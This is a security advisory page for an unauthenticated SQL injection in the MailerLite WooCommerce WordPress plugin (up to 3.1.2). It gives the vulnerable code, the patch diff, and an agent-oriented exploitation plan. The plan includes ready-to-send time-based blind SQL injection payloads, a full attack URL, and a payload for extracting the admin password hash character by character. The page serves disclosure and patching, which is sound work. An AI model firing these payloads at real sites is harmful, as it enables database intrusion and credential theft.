CVE-2025-67945

MailerLite – WooCommerce integration <= 3.1.2 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.1.3
Patched in
8d
Time to patch

Description

The MailerLite – WooCommerce integration plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.1.2
PublishedJanuary 20, 2026
Last updatedJanuary 27, 2026
Affected pluginwoo-mailerlite

What Changed in the Fix

Changes introduced in v3.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-67945 (MailerLite – WooCommerce integration) ## 1. Vulnerability Summary The **MailerLite – WooCommerce integration** plugin (versions <= 3.1.2) is vulnerable to an unauthenticated SQL injection. The vulnerability exists in the `WooMailerLitePluginController::…

Show full research plan

Exploitation Research Plan: CVE-2025-67945 (MailerLite – WooCommerce integration)

1. Vulnerability Summary

The MailerLite – WooCommerce integration plugin (versions <= 3.1.2) is vulnerable to an unauthenticated SQL injection. The vulnerability exists in the WooMailerLitePluginController::reloadCheckout function due to the unsafe use of the user-supplied ml_checkout request parameter in a database query. The plugin uses a custom ORM-like structure where parameters are concatenated into LIKE clauses without sufficient escaping or using $wpdb->prepare for the value part of the query.

2. Attack Vector Analysis

  • Endpoint: Any frontend page (e.g., the homepage or a WooCommerce shop page).
  • Hook: Likely init or wp_loaded (where WooMailerLitePluginController::reloadCheckout is triggered).
  • Vulnerable Parameter: ml_checkout (passed via GET or POST).
  • Authentication: Unauthenticated (PR:N).
  • Preconditions: WooCommerce must be installed and active so that WC()->session is initialized.

3. Code Flow

  1. Entry Point: A request is made to the WordPress site containing the ml_checkout parameter.
  2. Trigger: The WooMailerLitePluginController::reloadCheckout() method is called (likely via an init hook).
  3. Requirement Check: The code checks if (!function_exists('WC') || !is_object(WC()->session)). If WooCommerce is active, it proceeds.
  4. Input Extraction: It checks if ($this->requestHas('ml_checkout')).
  5. Vulnerable Sink: It executes:
    $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();
    
  6. SQL Injection: The value of ml_checkout is concatenated into a LIKE string. If the where method of the WooMailerLiteCart model (or its parent class) does not properly sanitize this input or use prepared statements for the interpolated string, an attacker can break out of the LIKE clause and append arbitrary SQL.

4. Nonce Acquisition Strategy

Based on the source code in WooMailerLitePluginController.php, the reloadCheckout() function does not require a nonce. It is designed to reload a cart session from a request parameter, typically used when a user clicks a link from a MailerLite email.

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection using the SLEEP() function to confirm the vulnerability.

Step-by-Step Payload Construction

  • Base Query: SELECT * FROM wp_mailerlite_carts WHERE data LIKE '%[INPUT]%' LIMIT 1
  • Goal: Inject SLEEP(5) if the condition is true.
  • Payload: x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='
  • Resulting SQL (approximate): ... WHERE data LIKE '%x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='%' LIMIT 1

Execution via Agent

  1. Request: Send an HTTP GET request to the site root with the payload.
  2. Tool: http_request.
  3. URL: http://localhost:8888/?ml_checkout=x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%27%25%27%3D%27

6. Test Data Setup

  1. Install WooCommerce: Required for the WC() object check.
  2. Install MailerLite Integration: Version 3.1.2.
  3. Configure Plugin: The plugin needs to be enabled.
    • wp option update woo_mailerlite_enabled 1
  4. Create a Cart Entry (Optional but helpful): Ensure the table wp_mailerlite_carts exists.
    • The table is created upon activation.
    • If the query returns zero rows, SLEEP will still execute if the injection is in the WHERE clause and evaluated against rows (though LIKE against an empty table might skip evaluation). It's best to ensure at least one row exists.
    • wp db query "INSERT INTO wp_mailerlite_carts (hash, email, subscribe, data) VALUES ('test_hash', 'test@example.com', 0, '{\"checkout_id\": 123}')"

7. Expected Results

  • Vulnerable Response: The HTTP request will hang for approximately 5 seconds before returning a response.
  • Normal Response: A request with a benign ml_checkout value (e.g., ?ml_checkout=123) should return immediately.

8. Verification Steps

After confirming the time delay, verify the database schema to ensure targeting of sensitive data is possible:

  1. wp db query "SELECT user_login, user_pass FROM wp_users" to confirm table access.
  2. Use the injection to extract the admin password hash bit-by-bit:
    • Payload: x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$') AND '%'='

9. Alternative Approaches

If reloadCheckout is not triggered on the home page:

  • Try the WooCommerce Shop page or Cart page: http://localhost:8888/shop/?ml_checkout=...
  • Try a POST request instead of GET.
  • If LIKE injection fails due to quote escaping, try a numeric-based injection if another parameter like signup or id is discovered in a where('id', ...) context.
  • Check WooMailerLiteService::setCartEmail(): This function is triggered by the woocommerce_checkout_update_order_review AJAX action.
    • Action: wp_ajax_nopriv_woocommerce_checkout_update_order_review
    • Parameter: email or signup in $_POST.
    • Code Path: setCartEmail() calls WooMailerLiteCart::where('hash', ...) and cart->update(...). If email is not sanitized in the update, it's a sink.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MailerLite – WooCommerce integration plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'ml_checkout' parameter in the 'reloadCheckout' function. Due to the lack of input sanitization and use of prepared statements when querying the database with a LIKE clause, an attacker can append arbitrary SQL commands to extract sensitive data.

Vulnerable Code

// includes/controllers/WooMailerLitePluginController.php:73
public function reloadCheckout()
{
    if (!function_exists('WC') || !is_object(WC()->session)) {
        return false;
    }
    if ($this->requestHas('ml_checkout')) {
        // The parameter 'ml_checkout' is concatenated directly into the LIKE query string
        $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();
        if ($cart && $cart->exists()) {
            WC()->session->set('cart', $cart->data);
        }
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.2/includes/controllers/WooMailerLiteOrderController.php /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.3/includes/controllers/WooMailerLiteOrderController.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.2/includes/controllers/WooMailerLiteOrderController.php	2025-11-19 09:14:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.3/includes/controllers/WooMailerLiteOrderController.php	2025-11-20 10:51:48.000000000 +0000
@@ -75,7 +75,7 @@
             if ($cart && isset($cart->subscribe)) {
                 $subscribe = $cart->subscribe;
             }
-            if (WooMailerLiteOptions::get("settings.checkoutHidden")) {
+            if (WooMailerLiteOptions::get("settings.checkoutHidden") || $order->get_meta('_woo_ml_subscribe')) {
                 $subscribe = true;
             }
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.2/includes/controllers/WooMailerLitePluginController.php /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.3/includes/controllers/WooMailerLitePluginController.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.2/includes/controllers/WooMailerLitePluginController.php	2025-10-13 11:05:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-mailerlite/3.1.3/includes/controllers/WooMailerLitePluginController.php	2025-11-20 10:51:48.000000000 +0000
@@ -73,14 +73,24 @@
 
     public function reloadCheckout()
     {
-        if (!function_exists('WC') || !is_object(WC()->session)) {
-            return false;
-        }
-        if ($this->requestHas('ml_checkout')) {
-            $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();
-            if ($cart && $cart->exists()) {
-                WC()->session->set('cart', $cart->data);
+        try {
+            if (!function_exists('WC') || !is_object(WC()->session)) {
+                return false;
+            }
+            if ($this->requestHas('ml_checkout')) {
+                $raw = intval($this->request['ml_checkout']);
+                $escaped = db()->esc_like($raw);
+                $escaped = '%checkout_id":' . addcslashes($escaped, '%_') . '%';
+                $cart = WooMailerLiteCart::where('data', 'like', $escaped)->first();
+                if ($cart && $cart->exists()) {
+                    $cartData = $cart->data;
+                    unset($cartData['checkout_id']);
+                    WC()->session->set('cart', $cartData);
+                }
             }
+        } catch (Throwable $e) {
+            WooMailerLiteLog()->error('Error restoring cart from checkout ID: ' . $e->getMessage());
         }
+        return true;
     }
 }

Exploit Outline

The exploit targets the `reloadCheckout` function, which is triggered automatically when a request contains the `ml_checkout` parameter. An unauthenticated attacker can send a GET or POST request to the site root (or any WooCommerce page) including a payload like `?ml_checkout=x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='`. The payload breaks out of the `LIKE` clause's surrounding wildcards and single quotes, allowing for Time-Based Blind SQL injection. Successful exploitation confirms the vulnerability if the server response is delayed by the specified duration. This can be further used to extract sensitive data from the `wp_users` table bit-by-bit.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.